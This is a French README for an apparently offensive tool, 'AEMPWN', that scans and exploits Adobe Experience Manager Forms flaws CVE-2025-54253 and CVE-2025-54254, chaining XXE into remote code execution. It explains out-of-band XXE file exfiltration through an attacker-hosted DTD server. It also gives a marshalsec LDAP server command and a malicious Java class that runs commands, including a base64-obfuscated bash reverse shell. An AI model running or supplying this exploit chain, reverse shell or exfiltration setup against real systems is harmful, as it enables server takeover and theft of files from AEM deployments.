
CVE-2025-54253 | CVE-2025-54254 | Adobe Experience Manager Forms XXE → RCE Framework
AEMPWN
Scanneur AEM Forms pour CVE-2025-54253 et CVE-2025-54254
AEMPWN est un scanneur ciblé pour identifier les vulnérabilités Adobe Experience Manager (AEM) Forms à haut risque, avec prise en charge de la détection sécurisée, de la confirmation aveugle hors bande (OOB) et des workflows complets de validation de preuve de concept (PoC). Cet outil est conçu uniquement pour les tests de sécurité autorisés.
Vulnérabilités prises en charge
CVE-2025-54253 Exécution de code à distance dépendante de la configuration dans AEM Forms (JEE)
CVE-2025-54254 Injection XML External Entity (XXE) conduisant à la divulgation de fichiers et à une escalade potentielle
Modes de fonctionnement AEMPWN prend en charge trois modes d'exécution pour s'aligner sur les workflows réels de bug bounty et d'équipe rouge.
Objectif : Identifier les comportements dangereux d'analyse XML et la surface d'exploitation viable sans déclencher de comportement destructeur.
Ce qu'il valide : Réflexion XML Réponses structurées non HTML Réflexion de jeton canari Indicateurs de traitement XML non sécurisé
À utiliser quand : Vous souhaitez une validation à faible bruit Vous êtes encore en train de cartographier l'impact Vous avez besoin d'un signal sûr avant l'escalade Ce mode convient au triage précoce et aux rapports internes.
Objectif : Confirmer une XXE aveugle via des requêtes sortantes depuis le serveur AEM.
Clarification importante : Burp Collaborator (ou services similaires) observe uniquement les connexions sortantes. Ils ne : Hébergent pas de fichiers DTD arbitraires Servent pas de charges utiles malveillantes Retournent pas de réponses contrôlées par l'attaquant Prennent pas en charge l'exploitation LDAP/JNDI
Pour cette raison, Collaborator seul est insuffisant pour une exploitation complète de XXE OOB.
Ce dont vous avez besoin : Un serveur HTTP que vous contrôlez (VPS, instance cloud, serveur local avec tunneling, etc.) La possibilité de servir un fichier DTD La possibilité d'observer les requêtes HTTP entrantes et les paramètres de requête
Ce que cela prouve : L'analyseur XML récupère des entités externes La cible effectue des requêtes réseau sortantes Des fichiers locaux sensibles peuvent être lus et exfiltrés
Objectif : Démontrer l'exécution réelle de code sur le serveur AEM pour un impact de niveau P1.
Ce mode repose sur l'injection JNDI via l'analyse XML, ce qui nécessite une infrastructure au-delà des rappels HTTP.
Ce dont vous avez besoin : Un serveur LDAP en cours d'exécution capable de servir une référence de classe Java Un serveur HTTP hébergeant une classe Java compilée Une primitive d'exécution contrôlée (par exemple, création de fichier, rappel sortant)
Pourquoi LDAP est requis : L'analyseur XML tente de résoudre une référence JNDI Cela amène le serveur AEM à se connecter à votre écouteur LDAP La réponse LDAP pointe vers une classe Java La classe est chargée et exécutée par la JVM
Meilleur outil : marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://votre-serveur/#Exploit" 1389
http://votre-serveur/#Exploit = serveur HTTP servant Exploit.class (classe malveillante compilée).
Exemple de classe malveillante (simple touch /tmp/pwned ou shell inverse) :
Javaimport java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
// ou shell inverse : Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {}
}
}
Compilez → hébergez sur un serveur HTTP (même que DTD ou séparé). Quand AEM analyse l'entité → se connecte à votre LDAP → récupère la classe → exécute le code.
Limitation clé :
Burp Collaborator ne peut pas : Servir de réponses LDAP Héberger des classes Java Déclencher le chargement de classes basé sur JNDI Pour cette raison, le mode RCE ne peut pas fonctionner sans un véritable service LDAP.
À propos de Burp Collaborator Burp Collaborator (et les plateformes similaires) sont utiles uniquement pour la détection.
Ils peuvent confirmer : Les recherches DNS Les rappels HTTP ou HTTPS La connectivité sortante aveugle
Ils ne peuvent pas : Héberger des fichiers DTD Traiter le contenu des fichiers exfiltrés Servir des classes Java Prendre en charge l'exploitation basée sur JNDI ou LDAP
Utilisez Collaborator pour observer, pas pour délivrer des charges utiles.
Sortie :
Les résultats confirmés sont écrits dans un fichier de sortie (par défaut : aem-forms-scan.txt) et incluent : URL de base cible Point de terminaison affecté Signaux de détection observés Indicateurs spécifiques au mode Convivial pour vidéo-PoC